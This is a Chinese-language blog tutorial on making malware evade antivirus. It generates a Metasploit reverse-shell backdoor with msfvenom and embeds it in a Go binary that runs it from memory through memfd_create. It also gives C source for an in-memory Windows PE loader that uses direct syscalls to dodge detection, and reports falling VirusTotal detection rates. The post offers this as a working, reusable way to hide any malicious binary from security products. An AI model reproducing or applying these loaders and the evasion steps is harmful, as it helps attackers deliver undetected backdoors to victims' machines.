0%

杀软的无奈-最简单的免杀(二)

前言

平时比较忙,抽不出来大把的时间来写文章,导致这个系列的更新太过于迟缓了。怕一直找理由鸽了自己,今天先更新一篇水文吧。主要说一下利用现成的工具完成比较简单的免杀工作。
本文的核心目标是为了能够免杀任意的二进制,而不仅仅是为了免杀msf生成的shellcode,注意跟其他文章的区别

背景知识

今天要讲的主角其实是go语言。go语言是2009年google发布的语言,由于其有类似于c和c++一样的性能,同时还具备类似于解释性语言的垃圾回收机制,并且不像java一样依赖虚拟机,优秀的跨平台优势和1.4版本之后go语言实现的支持交叉编译的编译器,让它迅速火了起来。

但是优秀的同时,它以牺牲自己二进制的体积为代价,每个go二进制都静态链接了一个runtime库,此库实现了垃圾回收、线程调度、go语言特有的关键特性等任务。此库的功能非常强大,因为导致一个简单的”hello world”就有1700多个函数。
有如此多的函数,那从这一堆函数中找出具有恶意功能的函数简直像大海捞针一样困难,这是市面上的大部分杀毒引擎对go二进制的检测能力比较薄弱的一个原因。

本文主要是用go语言的相关工具,来彻底免杀之前会被查杀的elf恶意代码。(windows平台类似的方法,但是我并没有测试免杀效果。)

开始正题

基本思想就是把一个不免杀的ELF文件作为字节数据存储在go编写的二进制中,然后go二进制执行的时候从自身读出恶意代码然后直接加载到内存中执行,保证恶意代码不落盘

这个方法非常简单,不需要分析什么shellcode特征,甚至不需要写什么代码,就能实现效果不错的免杀,而且检测比较困难。

可选的工具有很多:

甚至 go1.6 就默认支持https://go.googlesource.com/proposal/+/master/design/draft-embed.md ,你说开心不开心,默认支持的能有啥特征呢? 哈哈哈哈

下面就先使用 https://github.com/kevinburke/go-bindata 来测试一下效果。

linux平台免杀

  1. 用msf生成一个后门
1
msfvenom -p  linux/x64/meterpreter/reverse_tcp  -e x86/shikata_ga_nai -i 1 lhost=192.168.1.1 lport=6666 -f elf > ./test

这个样本肯定是不免杀的,上传到virustotal上看一下。

竟然才仅有4款杀毒软件报毒,这太出乎意料了,是杀毒软件提不动刀了,还是metasploit的编码器太强了?不过 anyway,我们还是用go去加载这个二进制,看一下效果。

  1. 使用go-bindata 打包到一个文件中
1
2
# https://github.com/kevinburke/go-bindata
./go-bindata ./test

这样就会生成一个 bindata.go 的文件,里面以压缩字节的形式存储这 ./test 的数据。

接下来在 bindata.go 中编写main函数,来让test文件从内存执行:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
const (
mfdCloexec = 0x0001 // 注意这个syscall 只有 3.17 之后的内核才支持,现在大部分的机器都支持了。
memfdCreate = 319
)
func main() {

data, err := Asset("test")
if err != nil {
// Asset was not found.
fmt.Println("read test file content error!")
}
filename := ""

fd, _, _ := syscall.Syscall(memfdCreate, uintptr(unsafe.Pointer(&filename)), uintptr(mfdCloexec), 0)

_, _ = syscall.Write(int(fd), data)
displayName := "/bin/bash"

fdPath := fmt.Sprintf("/proc/self/fd/%d", fd)
_ = syscall.Exec(fdPath, []string{displayName}, nil)

}

编译之后,发现这个后门功能正常,上传到 virustotal 再看一下效果。

效果还算理想。这里可以放任意的会被杀软干掉的二进制,应该免杀效果都是杠杠的。

windows平台免杀

windows平台上也是同样的道理,只是windows没有 memfd_create 这样方便的syscall供我们调用,但是 「exe_run_in_memory」也很容易实现,下面我们尝试简单讲一下过程。
「exe_run_in_memory」可以直接用go语言实现,但是需要自己定义很多结构,而且不能像c语言那样便捷的处理PE结构,所以本文为了节省时间,直接复用了之前c语言来实现的加载的代码,然后用cgo进行调用。

用c语言来实现内存的map:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55

BOOL mapping(LPVOID lpData, LPVOID lpBaseAddress)
{
PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)lpData;
PIMAGE_NT_HEADERS pNtHeaders = (PIMAGE_NT_HEADERS)((UNPTR)pDosHeader + pDosHeader->e_lfanew);
// 获取SizeOfHeaders的值: 所有头+节表头的大小
DWORD dwSizeOfHeaders = pNtHeaders->OptionalHeader.SizeOfHeaders;
// 获取节表的数量
WORD wNumberOfSections = pNtHeaders->FileHeader.NumberOfSections;
// 获取第一个节表头的地址

/*
PIMAGE_SECTION_HEADER pSectionHeader = (PIMAGE_SECTION_HEADER)((DWORD)pNtHeaders + sizeof(IMAGE_NT_HEADERS));
这样计算是错误的,因为 64 位程序和 32 位程序 IMAGE_NT_HEADERS 的大小不一样
*/
PIMAGE_SECTION_HEADER pSectionHeader = NULL;
if (pNtHeaders->OptionalHeader.Magic == IMAGE_NT_OPTIONAL_HDR32_MAGIC) {
// 32 位镜像
pSectionHeader = (PIMAGE_SECTION_HEADER)((UNPTR)pNtHeaders + sizeof(IMAGE_NT_HEADERS32));
}else if (pNtHeaders->OptionalHeader.Magic == IMAGE_NT_OPTIONAL_HDR64_MAGIC) {

pSectionHeader = (PIMAGE_SECTION_HEADER)((UNPTR)pNtHeaders + sizeof(IMAGE_NT_HEADERS64));
}
else {
// 无法识别的 EXE 镜像
ShowError("cann't identify file format.");
return FALSE;
}

// 加载 所有头+节表头的大小
memcpy(lpBaseAddress, lpData, dwSizeOfHeaders);
// 对齐SectionAlignment循环加载节表
WORD i = 0;
LPVOID lpSrcMem = NULL;
LPVOID lpDestMem = NULL;
DWORD dwSizeOfRawData = 0;
for (i = 0; i < wNumberOfSections; i++)
{
if ((0 == pSectionHeader->VirtualAddress) ||
(0 == pSectionHeader->SizeOfRawData))
{
pSectionHeader++;
continue;
}

lpSrcMem = (LPVOID)((UNPTR)lpData + pSectionHeader->PointerToRawData);
lpDestMem = (LPVOID)((UNPTR)lpBaseAddress + pSectionHeader->VirtualAddress);
dwSizeOfRawData = pSectionHeader->SizeOfRawData;
memcpy(lpDestMem, lpSrcMem, dwSizeOfRawData);

pSectionHeader++;
}

return TRUE;
}

解析导入表,并修改IAT地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
BOOL doImTable(LPVOID lpBaseAddress)
{
PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)lpBaseAddress;
PIMAGE_NT_HEADERS pNtHeaders = (PIMAGE_NT_HEADERS)((UNPTR)pDosHeader + pDosHeader->e_lfanew);
PIMAGE_IMPORT_DESCRIPTOR pImportTable = NULL;

if (pNtHeaders->OptionalHeader.Magic == IMAGE_NT_OPTIONAL_HDR64_MAGIC) {
// 如果是64位
PIMAGE_NT_HEADERS64 pNtHeaders64 = (PIMAGE_NT_HEADERS64)(pNtHeaders);
pImportTable = (PIMAGE_IMPORT_DESCRIPTOR)((UNPTR)pDosHeader +
pNtHeaders64->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress);
}
else if (pNtHeaders->OptionalHeader.Magic == IMAGE_NT_OPTIONAL_HDR32_MAGIC) {
// 如果是32位
pImportTable = (PIMAGE_IMPORT_DESCRIPTOR)((UNPTR)pDosHeader +
pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress);
}


// 循环遍历DLL导入表中的DLL及获取导入表中的函数地址
char *lpDllName = NULL;
HMODULE hDll = NULL;
PIMAGE_THUNK_DATA lpImportNameArray = NULL;
PIMAGE_IMPORT_BY_NAME lpImportByName = NULL;
PIMAGE_THUNK_DATA lpImportFuncAddrArray = NULL;
FARPROC lpFuncAddress = NULL;
DWORD i = 0;

while (TRUE)
{
if (0 == pImportTable->OriginalFirstThunk)
{
break;
}

// 获取导入表中DLL的名称并加载DLL
lpDllName = (char *)((UNPTR)pDosHeader + pImportTable->Name);
hDll = GetModuleHandleA(lpDllName);
if (NULL == hDll)
{
hDll = LoadLibraryA(lpDllName);
if (NULL == hDll)
{
pImportTable++;
continue;
}
}

i = 0;
// 获取OriginalFirstThunk以及对应的导入函数名称表首地址
lpImportNameArray = (PIMAGE_THUNK_DATA)((UNPTR)pDosHeader + pImportTable->OriginalFirstThunk);
// 获取FirstThunk以及对应的导入函数地址表首地址
lpImportFuncAddrArray = (PIMAGE_THUNK_DATA)((UNPTR)pDosHeader + pImportTable->FirstThunk);
while (TRUE)
{
if (0 == lpImportNameArray[i].u1.AddressOfData)
{
break;
}

// 获取IMAGE_IMPORT_BY_NAME结构
lpImportByName = (PIMAGE_IMPORT_BY_NAME)((UNPTR)pDosHeader + lpImportNameArray[i].u1.AddressOfData);

// 判断导出函数是序号导出还是函数名称导出
if (0x80000000 & lpImportNameArray[i].u1.Ordinal)
{
// 序号导出
// 当IMAGE_THUNK_DATA值的最高位为1时,表示函数以序号方式输入,这时,低位被看做是一个函数序号
lpFuncAddress = GetProcAddress(hDll, (LPCSTR)(lpImportNameArray[i].u1.Ordinal & 0x0000FFFF));
}
else
{
// 名称导出
lpFuncAddress = GetProcAddress(hDll, (LPCSTR)lpImportByName->Name);
}
// 注意此处的函数地址表的赋值,要对照PE格式进行装载,不要理解错了!!!
lpImportFuncAddrArray[i].u1.Function = (UNPTR)lpFuncAddress;
i++;
}

pImportTable++;
}

return TRUE;
}

解析重定位信息:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
BOOL DoReTable(LPVOID lpBaseAddress)
{
/* 重定位表的结构:
// DWORD sectionAddress, DWORD size (包括本节需要重定位的数据)
// 例如 1000节需要修正5个重定位数据的话,重定位表的数据是
// 00 10 00 00 14 00 00 00 xxxx xxxx xxxx xxxx xxxx 0000
// ----------- ----------- ----
// 给出节的偏移 总尺寸=8+6*2 需要修正的地址 用于对齐4字节
// 重定位表是若干个相连,如果address 和 size都是0 表示结束
// 需要修正的地址是12位的,高4位是形态字,intel cpu下是3
*/
//假设NewBase是0x600000,而文件中设置的缺省ImageBase是0x400000,则修正偏移量就是0x200000
//注意重定位表的位置可能和硬盘文件中的偏移地址不同,应该使用加载后的地址

PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)lpBaseAddress;
PIMAGE_NT_HEADERS pNtHeaders = (PIMAGE_NT_HEADERS)((UNPTR)pDosHeader + pDosHeader->e_lfanew);

PIMAGE_BASE_RELOCATION pLoc = NULL;
ULONGLONG ImageBase = 0;

if (pNtHeaders->OptionalHeader.Magic == IMAGE_NT_OPTIONAL_HDR64_MAGIC) {
// 如果是64位
PIMAGE_NT_HEADERS64 pNtHeaders64 = (PIMAGE_NT_HEADERS64)(pNtHeaders);
pLoc = (PIMAGE_BASE_RELOCATION)((UNPTR)pDosHeader + pNtHeaders64->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress);
ImageBase = pNtHeaders64->OptionalHeader.ImageBase;
}
else if (pNtHeaders->OptionalHeader.Magic == IMAGE_NT_OPTIONAL_HDR32_MAGIC) {
// 如果是32位
pLoc = (PIMAGE_BASE_RELOCATION)((UNPTR)pDosHeader + pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress);
ImageBase = pNtHeaders->OptionalHeader.ImageBase;
}


// 判断是否有 重定位表
if ((PVOID)pLoc == (PVOID)pDosHeader)
{
// 重定位表 为空
return TRUE;
}

while ((pLoc->VirtualAddress + pLoc->SizeOfBlock) != 0) //开始扫描重定位表
{
WORD *pLocData = (WORD *)((PBYTE)pLoc + sizeof(IMAGE_BASE_RELOCATION));
//计算本节需要修正的重定位项(地址)的数目
int nNumberOfReloc = (pLoc->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(WORD);

for (int i = 0; i < nNumberOfReloc; i++)
{
// 每个WORD由两部分组成。高4位指出了重定位的类型,WINNT.H中的一系列IMAGE_REL_BASED_xxx定义了重定位类型的取值。
// 低12位是相对于VirtualAddress域的偏移,指出了必须进行重定位的位置。

#ifdef _WIN64
if ((DWORD)(pLocData[i] & 0x0000F000) == 0x0000A000)
{
// 64位dll重定位,IMAGE_REL_BASED_DIR64
// 对于IA-64的可执行文件,重定位似乎总是IMAGE_REL_BASED_DIR64类型的。

UNPTR* pAddress = (UNPTR *)((PBYTE)pDosHeader + pLoc->VirtualAddress + (pLocData[i] & 0x0FFF));
UNPTR ullDelta = (UNPTR)pDosHeader - ImageBase;
*pAddress += ullDelta;

}
#else
if ((DWORD)(pLocData[i] & 0x0000F000) == 0x00003000) //这是一个需要修正的地址
{
// 32位dll重定位,IMAGE_REL_BASED_HIGHLOW
// 对于x86的可执行文件,所有的基址重定位都是IMAGE_REL_BASED_HIGHLOW类型的。
UNPTR* pAddress = (UNPTR*)((PBYTE)pDosHeader + pLoc->VirtualAddress + (pLocData[i] & 0x0FFF));
UNPTR dwDelta = (UNPTR)pDosHeader - ImageBase;
*pAddress += dwDelta;

}
#endif

}
//转移到下一个节进行处理
pLoc = (PIMAGE_BASE_RELOCATION)((PBYTE)pLoc + pLoc->SizeOfBlock);
}
return TRUE;
}

由于函数 VirtualAlloc 是杀毒软件关注的重点函数,所以直接使用这个函数会被大多数的杀软杀掉,本文在VT上测试的时候是18/69,而且直接被火绒干掉,效果非常不理想:

后来我利用项目 https://github.com/mai1zhi2/SysWhispers2_x86/tree/main/SysWhispers2_x86_WOW64Gate中函数 NtAllocateVirtualMemory 的direct syscall 汇编代码来代替函数调用,然后获得了比较好的免杀效果。

同样使用 msf 生成的reverse_tcp后门进行测试:
免杀前的是 52/70

免杀后是 12/67:

有几款杀软报毒Exploit.Shellcode是因为他们有沙箱,而且可以看到样本的外联行为。剩下的几款杀毒引擎一看见go语言的二进制就报毒,因为我测试go语言写的hello world 他们也会报毒,所以没有参考价值。

虚拟执行能力比较强的火绒也无法检出。

添加一个编码器 x86/shikata_ga_nai 之后的效果看起来真的不错。

代码实现

代码比较简单,放在了github上 https://github.com/wonderkun/go-packer
需要说明一下的是,由于SysWhispers2_x86_WOW64Gate中有代码是使用汇编实现的,为了能使用MingGw进行链接,所以必须使用uasm进行编译(不能使用vs的masm进行编译,否则无法完成静态链接)。
但是mac平台安装uasm比较麻烦,所以只能在windows平台上进行编译。所以本代码中放的直接就是编译好的32位的静态链接库,仅支持生成32位二进制文件,如果想生成64位的二进制文件,请自行编译静态态链接库,并修改makefile。

reference